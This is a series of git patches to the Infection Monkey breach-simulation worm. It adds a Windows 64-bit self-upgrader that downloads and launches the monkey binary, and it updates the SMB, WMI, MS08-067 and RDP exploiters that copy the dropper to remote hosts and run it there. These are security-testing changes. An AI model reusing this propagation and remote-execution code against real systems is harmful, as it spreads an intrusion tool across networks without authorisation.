From 8509eef48e7053550a3ebc9093cff67ab9af5e0d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 14:10:01 +0200 Subject: [PATCH 01/16] Add basic logic to windows upgrade --- infection_monkey/config.py | 2 ++ infection_monkey/example.conf | 1 + infection_monkey/monkey.py | 24 ++++++++----- infection_monkey/windows_upgrader.py | 53 ++++++++++++++++++++++++++++ monkey_island/cc/services/config.py | 7 ++++ 5 files changed, 79 insertions(+), 8 deletions(-) create mode 100644 infection_monkey/windows_upgrader.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index e62820816..633534b84 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -116,6 +116,8 @@ class Configuration(object): dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' dropper_target_path = r"C:\Windows\monkey.exe" + # TODO: move and rename + dropper_upgrade_win_64_temp_path = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' ########################### diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6f70f888a..3ebe3f122 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -23,6 +23,7 @@ "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, "dropper_target_path": "C:\\Windows\\monkey.exe", + "dropper_upgrade_win_64_temp_path": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 22be2cf46..b05d94fd4 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -13,6 +13,7 @@ from network.firewall import app as firewall from network.network_scanner import NetworkScanner from system_info import SystemInfoCollector from system_singleton import SystemSingleton +from windows_upgrader import WindowsUpgrader __author__ = 'itamar' @@ -34,6 +35,7 @@ class InfectionMonkey(object): self._fingerprint = None self._default_server = None self._depth = 0 + self._opts = None def initialize(self): LOG.info("Monkey is initializing...") @@ -46,13 +48,13 @@ class InfectionMonkey(object): arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth') - opts, self._args = arg_parser.parse_known_args(self._args) + self._opts, self._args = arg_parser.parse_known_args(self._args) - self._parent = opts.parent - self._default_tunnel = opts.tunnel - self._default_server = opts.server - if opts.depth: - WormConfiguration.depth = int(opts.depth) + self._parent = self._opts.parent + self._default_tunnel = self._opts.tunnel + self._default_server = self._opts.server + if self._opts.depth: + WormConfiguration.depth = int(self._opts.depth) WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() @@ -66,6 +68,10 @@ class InfectionMonkey(object): LOG.debug("Default server: %s is already in command servers list" % self._default_server) def start(self): + if WindowsUpgrader.should_upgrade(): + WindowsUpgrader.upgrade(self._opts) + return + LOG.info("Monkey is running...") if firewall.is_enabled(): @@ -226,9 +232,11 @@ class InfectionMonkey(object): firewall.close() - self._singleton.unlock() + if not WindowsUpgrader.should_upgrade(): + self._singleton.unlock() - if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'): + if WormConfiguration.self_delete_in_cleanup \ + and -1 == sys.executable.find('python') and not WindowsUpgrader.should_upgrade(): try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py new file mode 100644 index 000000000..1c6049cfd --- /dev/null +++ b/infection_monkey/windows_upgrader.py @@ -0,0 +1,53 @@ +import os +import struct +import sys + +import monkeyfs +from config import WormConfiguration +from control import ControlClient +from exploit.tools import build_monkey_commandline_explicitly +from model import DROPPER_CMDLINE_WINDOWS + +__author__ = 'itay.mizeretz' + +if "win32" == sys.platform: + from win32process import DETACHED_PROCESS +else: + DETACHED_PROCESS = 0 + + +class WindowsUpgrader(object): + @staticmethod + def is_64bit_os(): + return os.environ.has_key('PROGRAMFILES(X86)') + + @staticmethod + def is_64bit_python(): + return struct.calcsize("P") == 8 + + @staticmethod + def is_windows_os(): + return sys.platform.startswith("win") + + @staticmethod + def should_upgrade(): + return WindowsUpgrader.is_windows_os() and WindowsUpgrader.is_64bit_os() \ + and not WindowsUpgrader.is_64bit_python() + + @staticmethod + def upgrade(opts): + monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) + with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: + monkey_bin = downloaded_monkey_file.read() + with open(WormConfiguration.dropper_upgrade_win_64_temp_path, 'wb') as written_monkey_file: + written_monkey_file.write(monkey_bin) + + monkey_options = build_monkey_commandline_explicitly( + opts.parent, opts.tunnel, opts.server, int(opts.depth)) + + monkey_cmdline = DROPPER_CMDLINE_WINDOWS % { + 'monkey_path': WormConfiguration.dropper_target_path} + monkey_options + monkey_process = os.subprocess.Popen(monkey_cmdline, shell=True, + stdin=None, stdout=None, stderr=None, + close_fds=True, creationflags=DETACHED_PROCESS) + diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index f9a7d80d2..f558eb8dc 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -446,6 +446,13 @@ SCHEMA = { "default": "C:\\Windows\\monkey.exe", "description": "Determines where should the dropper place the monkey on a Windows machine" }, + "dropper_upgrade_win_64_temp_path": { + "title": "Temporary upgrade path for 64bit monkey on Windows", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", + "description": "Determines where should the dropper place the 64 bit monkey while" + " upgrading on a Windows machine" + }, "dropper_try_move_first": { "title": "Try to move first", "type": "boolean", From 355a75feeff0e52c8b67932bb69b6c8bccff9570 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 16:21:44 +0200 Subject: [PATCH 02/16] seperate the wakeup and server lookup processes --- infection_monkey/control.py | 57 ++++++++++++++++++++++--------------- infection_monkey/monkey.py | 3 +- 2 files changed, 36 insertions(+), 24 deletions(-) diff --git a/infection_monkey/control.py b/infection_monkey/control.py index e7fb4cebb..8d14766c6 100644 --- a/infection_monkey/control.py +++ b/infection_monkey/control.py @@ -24,10 +24,10 @@ class ControlClient(object): proxies = {} @staticmethod - def wakeup(parent=None, default_tunnel=None, has_internet_access=None): - LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) - if parent or default_tunnel: - LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel)) + def wakeup(parent=None, has_internet_access=None): + if parent: + LOG.debug("parent: %s" % (parent,)) + hostname = gethostname() if not parent: parent = GUID @@ -35,31 +35,43 @@ class ControlClient(object): if has_internet_access is None: has_internet_access = check_internet_access(WormConfiguration.internet_services) + monkey = {'guid': GUID, + 'hostname': hostname, + 'ip_addresses': local_ips(), + 'description': " ".join(platform.uname()), + 'internet_access': has_internet_access, + 'config': WormConfiguration.as_dict(), + 'parent': parent} + + if ControlClient.proxies: + monkey['tunnel'] = ControlClient.proxies.get('https') + + requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,), + data=json.dumps(monkey), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies, + timeout=20) + + @staticmethod + def find_server(default_tunnel=None): + LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) + if default_tunnel: + LOG.debug("default_tunnel: %s" % (default_tunnel,)) + for server in WormConfiguration.command_servers: try: WormConfiguration.current_server = server - monkey = {'guid': GUID, - 'hostname': hostname, - 'ip_addresses': local_ips(), - 'description': " ".join(platform.uname()), - 'internet_access': has_internet_access, - 'config': WormConfiguration.as_dict(), - 'parent': parent} - - if ControlClient.proxies: - monkey['tunnel'] = ControlClient.proxies.get('https') - debug_message = "Trying to connect to server: %s" % server if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - reply = requests.post("https://%s/api/monkey" % (server,), - data=json.dumps(monkey), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=20) + # TODO: use different api call to check connectivity. + requests.get("https://%s/api/monkey" % (server,), + verify=False, + proxies=ControlClient.proxies) + break except Exception as exc: @@ -74,7 +86,7 @@ class ControlClient(object): proxy_address, proxy_port = proxy_find LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) - ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access) + ControlClient.find_server() else: LOG.info("No tunnel found") @@ -234,7 +246,6 @@ class ControlClient(object): data=json.dumps(host_dict), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) - if 200 == reply.status_code: result_json = reply.json() filename = result_json.get('filename') diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index b05d94fd4..19a456cff 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -76,7 +76,8 @@ class InfectionMonkey(object): if firewall.is_enabled(): firewall.add_firewall_rule() - ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) + ControlClient.find_server(default_tunnel=self._default_tunnel) + ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if not WormConfiguration.alive: From e30e9c8b83c8c4f1e2c2033260e785f7ad9a07d9 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 16:23:54 +0200 Subject: [PATCH 03/16] Upgrade after finding server --- infection_monkey/monkey.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 19a456cff..6e0932ff2 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -68,15 +68,16 @@ class InfectionMonkey(object): LOG.debug("Default server: %s is already in command servers list" % self._default_server) def start(self): - if WindowsUpgrader.should_upgrade(): - WindowsUpgrader.upgrade(self._opts) - return - LOG.info("Monkey is running...") if firewall.is_enabled(): firewall.add_firewall_rule() ControlClient.find_server(default_tunnel=self._default_tunnel) + + if WindowsUpgrader.should_upgrade(): + WindowsUpgrader.upgrade(self._opts) + return + ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() From bbdebb12681ddb5f8f9df2d071ce9fcf4e648906 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 16:24:40 +0200 Subject: [PATCH 04/16] Fix various bugs --- infection_monkey/windows_upgrader.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index 1c6049cfd..d2c5aee31 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -1,5 +1,6 @@ import os import struct +import subprocess import sys import monkeyfs @@ -42,12 +43,14 @@ class WindowsUpgrader(object): with open(WormConfiguration.dropper_upgrade_win_64_temp_path, 'wb') as written_monkey_file: written_monkey_file.write(monkey_bin) + depth = int(opts.depth) if opts.depth is not None else None monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, int(opts.depth)) + opts.parent, opts.tunnel, opts.server, depth, WormConfiguration.dropper_target_path) monkey_cmdline = DROPPER_CMDLINE_WINDOWS % { - 'monkey_path': WormConfiguration.dropper_target_path} + monkey_options - monkey_process = os.subprocess.Popen(monkey_cmdline, shell=True, - stdin=None, stdout=None, stderr=None, - close_fds=True, creationflags=DETACHED_PROCESS) + 'dropper_path': WormConfiguration.dropper_upgrade_win_64_temp_path} + monkey_options + print monkey_cmdline + monkey_process = subprocess.Popen(monkey_cmdline, shell=True, + stdin=None, stdout=None, stderr=None, + close_fds=True, creationflags=DETACHED_PROCESS) From 15b9ef1565bcb4edeeec45589c47c96b24b73578 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 16:26:14 +0200 Subject: [PATCH 05/16] Remove destination path if it exists (mostly for windows upgrade) Fix minor bug in dropper --- infection_monkey/dropper.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 3e0a8bff5..927ea7cf6 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -58,6 +58,9 @@ class MonkeyDrops(object): # we copy/move only in case path is different file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) + if not file_moved and os.path.exists(self._config['destination_path']): + os.remove(self._config['destination_path']) + # first try to move the file if not file_moved and WormConfiguration.dropper_try_move_first: try: @@ -105,8 +108,9 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") + depth = int(self.opts.depth) if self.opts.depth is not None else None monkey_options = build_monkey_commandline_explicitly( - self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) + self.opts.parent, self.opts.tunnel, self.opts.server, depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options From 260607b6858dc2b98cb3ab0a1672644e221aac7c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 18:26:31 +0200 Subject: [PATCH 06/16] Use dedicated api to determine server is running --- infection_monkey/control.py | 4 +--- monkey_island/cc/resources/root.py | 7 ++++++- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/infection_monkey/control.py b/infection_monkey/control.py index 8d14766c6..12f0cb754 100644 --- a/infection_monkey/control.py +++ b/infection_monkey/control.py @@ -67,11 +67,9 @@ class ControlClient(object): if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - # TODO: use different api call to check connectivity. - requests.get("https://%s/api/monkey" % (server,), + requests.get("https://%s/api?action=is-up" % (server,), verify=False, proxies=ControlClient.proxies) - break except Exception as exc: diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 04129f257..865d99dce 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -15,7 +15,6 @@ __author__ = 'Barak' class Root(flask_restful.Resource): - @jwt_required() def get(self, action=None): if not action: action = request.args.get('action') @@ -26,21 +25,26 @@ class Root(flask_restful.Resource): return Root.reset_db() elif action == "killall": return Root.kill_all() + elif action == "is-up": + return {'is-up': True} else: return make_response(400, {'error': 'unknown action'}) @staticmethod + @jwt_required() def get_server_info(): return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db), completed_steps=Root.get_completed_steps()) @staticmethod + @jwt_required() def reset_db(): [mongo.db[x].drop() for x in ['config', 'monkey', 'telemetry', 'node', 'edge', 'report']] ConfigService.init_config() return jsonify(status='OK') @staticmethod + @jwt_required() def kill_all(): mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False, @@ -48,6 +52,7 @@ class Root(flask_restful.Resource): return jsonify(status='OK') @staticmethod + @jwt_required() def get_completed_steps(): is_any_exists = NodeService.is_any_monkey_exists() infection_done = NodeService.is_monkey_finished_running() From abd738acbc25faeab4775203fb59af8bc479f2c7 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 19:01:42 +0200 Subject: [PATCH 07/16] Change config value name Add logs --- infection_monkey/config.py | 8 ++++++-- infection_monkey/example.conf | 2 +- infection_monkey/monkey.py | 1 + infection_monkey/windows_upgrader.py | 17 ++++++++++++++--- monkey_island/cc/services/config.py | 16 ++++++++-------- 5 files changed, 30 insertions(+), 14 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 633534b84..0ee609cac 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -116,10 +116,14 @@ class Configuration(object): dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' dropper_target_path = r"C:\Windows\monkey.exe" - # TODO: move and rename - dropper_upgrade_win_64_temp_path = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' + ########################### + # Windows upgrader config + ########################### + + windows_upgrader_temp_path = r"C:\Windows\monkey64.exe" + ########################### # Kill file ########################### diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 3ebe3f122..8acf8729f 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -23,7 +23,7 @@ "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, "dropper_target_path": "C:\\Windows\\monkey.exe", - "dropper_upgrade_win_64_temp_path": "C:\\Windows\\monkey64.exe", + "windows_upgrader_temp_path": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 6e0932ff2..0ca85b6b8 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -75,6 +75,7 @@ class InfectionMonkey(object): ControlClient.find_server(default_tunnel=self._default_tunnel) if WindowsUpgrader.should_upgrade(): + LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index d2c5aee31..994a17f96 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -1,8 +1,11 @@ +import logging import os import struct import subprocess import sys +import time + import monkeyfs from config import WormConfiguration from control import ControlClient @@ -11,6 +14,8 @@ from model import DROPPER_CMDLINE_WINDOWS __author__ = 'itay.mizeretz' +LOG = logging.getLogger(__name__) + if "win32" == sys.platform: from win32process import DETACHED_PROCESS else: @@ -40,7 +45,7 @@ class WindowsUpgrader(object): monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: monkey_bin = downloaded_monkey_file.read() - with open(WormConfiguration.dropper_upgrade_win_64_temp_path, 'wb') as written_monkey_file: + with open(WormConfiguration.windows_upgrader_temp_path, 'wb') as written_monkey_file: written_monkey_file.write(monkey_bin) depth = int(opts.depth) if opts.depth is not None else None @@ -48,9 +53,15 @@ class WindowsUpgrader(object): opts.parent, opts.tunnel, opts.server, depth, WormConfiguration.dropper_target_path) monkey_cmdline = DROPPER_CMDLINE_WINDOWS % { - 'dropper_path': WormConfiguration.dropper_upgrade_win_64_temp_path} + monkey_options + 'dropper_path': WormConfiguration.windows_upgrader_temp_path} + monkey_options - print monkey_cmdline monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) + + LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s", + monkey_process.pid, monkey_cmdline) + + time.sleep(3) + if monkey_process.poll() is not None: + LOG.warn("Seems like monkey died too soon") diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index f558eb8dc..981319db4 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -350,7 +350,14 @@ SCHEMA = { "type": "integer", "default": 60, "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - } + }, + "windows_upgrader_temp_path": { + "title": "Temporary upgrade path for 64bit monkey on Windows", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", + "description": "Determines where should the dropper place the 64 bit monkey while" + " upgrading on a Windows machine" + }, } }, "classes": { @@ -446,13 +453,6 @@ SCHEMA = { "default": "C:\\Windows\\monkey.exe", "description": "Determines where should the dropper place the monkey on a Windows machine" }, - "dropper_upgrade_win_64_temp_path": { - "title": "Temporary upgrade path for 64bit monkey on Windows", - "type": "string", - "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the 64 bit monkey while" - " upgrading on a Windows machine" - }, "dropper_try_move_first": { "title": "Try to move first", "type": "boolean", From 784e3839595a6a0260efc5fc926bc979569d8e9d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 19:38:05 +0200 Subject: [PATCH 08/16] Check if should upgrade only once Don't send state-done telemetry if upgrading --- infection_monkey/monkey.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 0ca85b6b8..9e2d54fd1 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -36,6 +36,7 @@ class InfectionMonkey(object): self._default_server = None self._depth = 0 self._opts = None + self._upgrading_to_64 = False def initialize(self): LOG.info("Monkey is initializing...") @@ -75,6 +76,7 @@ class InfectionMonkey(object): ControlClient.find_server(default_tunnel=self._default_tunnel) if WindowsUpgrader.should_upgrade(): + self._upgrading_to_64 = True LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return @@ -225,7 +227,8 @@ class InfectionMonkey(object): self._keep_running = False # Signal the server (before closing the tunnel) - ControlClient.send_telemetry("state", {'done': True}) + if not self._upgrading_to_64: + ControlClient.send_telemetry("state", {'done': True}) # Close tunnel tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] @@ -235,11 +238,11 @@ class InfectionMonkey(object): firewall.close() - if not WindowsUpgrader.should_upgrade(): + if not self._upgrading_to_64: self._singleton.unlock() if WormConfiguration.self_delete_in_cleanup \ - and -1 == sys.executable.find('python') and not WindowsUpgrader.should_upgrade(): + and -1 == sys.executable.find('python') and not self._upgrading_to_64: try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE From 72fd9304993feb72e94a94793a5d453512df6896 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 19:54:10 +0200 Subject: [PATCH 09/16] unlock singleton before upgrade --- infection_monkey/monkey.py | 1 + 1 file changed, 1 insertion(+) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 9e2d54fd1..a38d04dde 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -77,6 +77,7 @@ class InfectionMonkey(object): if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True + self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return From ee23703bfa4b6d48ee55959b2132f78a2382c94b Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 4 Mar 2018 17:05:43 +0200 Subject: [PATCH 10/16] Monkey now uses different names for 32,64bit on windows. No need to use dropper or rename moneky --- infection_monkey/config.py | 11 +++++------ infection_monkey/example.conf | 4 ++-- infection_monkey/exploit/rdpgrinder.py | 4 ++-- infection_monkey/exploit/smbexec.py | 6 +++--- infection_monkey/exploit/win_ms08_067.py | 8 ++++---- infection_monkey/exploit/wmiexec.py | 6 +++--- infection_monkey/windows_upgrader.py | 10 +++++----- monkey_island/cc/services/config.py | 21 ++++++++++----------- 8 files changed, 34 insertions(+), 36 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 0ee609cac..42140172f 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -9,6 +9,7 @@ from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network.range import FixedRange +from windows_upgrader import WindowsUpgrader __author__ = 'itamar' @@ -115,14 +116,12 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' - dropper_target_path = r"C:\Windows\monkey.exe" + dropper_target_path_win_32 = r"C:\Windows\monkey32.exe" + dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' - ########################### - # Windows upgrader config - ########################### - - windows_upgrader_temp_path = r"C:\Windows\monkey64.exe" + def get_dropper_target_path_win(self): + return self.dropper_target_path_win_64 if WindowsUpgrader.is_64bit_python() else self.dropper_target_path_win_32 ########################### # Kill file diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 8acf8729f..9cc036981 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -22,8 +22,8 @@ "dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, - "dropper_target_path": "C:\\Windows\\monkey.exe", - "windows_upgrader_temp_path": "C:\\Windows\\monkey64.exe", + "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", diff --git a/infection_monkey/exploit/rdpgrinder.py b/infection_monkey/exploit/rdpgrinder.py index 606f44f90..fb4d0f32d 100644 --- a/infection_monkey/exploit/rdpgrinder.py +++ b/infection_monkey/exploit/rdpgrinder.py @@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter): if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.dropper_target_path, + 'monkey_path': self._config.get_dropper_target_path_win(), 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.dropper_target_path, + 'monkey_path': self._config.get_dropper_target_path_win(), 'http_path': http_path, 'parameters': cmdline} user_password_pairs = self._config.get_exploit_user_password_pairs() diff --git a/infection_monkey/exploit/smbexec.py b/infection_monkey/exploit/smbexec.py index b76a7bce6..717810bf9 100644 --- a/infection_monkey/exploit/smbexec.py +++ b/infection_monkey/exploit/smbexec.py @@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.get_dropper_target_path_win(), user, password, lm_hash, @@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path.lower(): + if remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/win_ms08_067.py b/infection_monkey/exploit/win_ms08_067.py index 51393ea69..b29012d47 100644 --- a/infection_monkey/exploit/win_ms08_067.py +++ b/infection_monkey/exploit/win_ms08_067.py @@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.get_dropper_target_path_win(), self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass) @@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter): for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.get_dropper_target_path_win(), "Administrator", password) if remote_full_path: @@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path.lower(): + if remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/wmiexec.py b/infection_monkey/exploit/wmiexec.py index 1a77a7347..0db4be6ef 100644 --- a/infection_monkey/exploit/wmiexec.py +++ b/infection_monkey/exploit/wmiexec.py @@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.get_dropper_target_path_win(), user, password, lm_hash, @@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter): wmi_connection.close() return False # execute the remote dropper in case the path isn't final - elif remote_full_path.lower() != self._config.dropper_target_path.lower(): + elif remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index 994a17f96..c63b64524 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -10,7 +10,7 @@ import monkeyfs from config import WormConfiguration from control import ControlClient from exploit.tools import build_monkey_commandline_explicitly -from model import DROPPER_CMDLINE_WINDOWS +from model import MONKEY_CMDLINE_WINDOWS __author__ = 'itay.mizeretz' @@ -45,15 +45,15 @@ class WindowsUpgrader(object): monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: monkey_bin = downloaded_monkey_file.read() - with open(WormConfiguration.windows_upgrader_temp_path, 'wb') as written_monkey_file: + with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: written_monkey_file.write(monkey_bin) depth = int(opts.depth) if opts.depth is not None 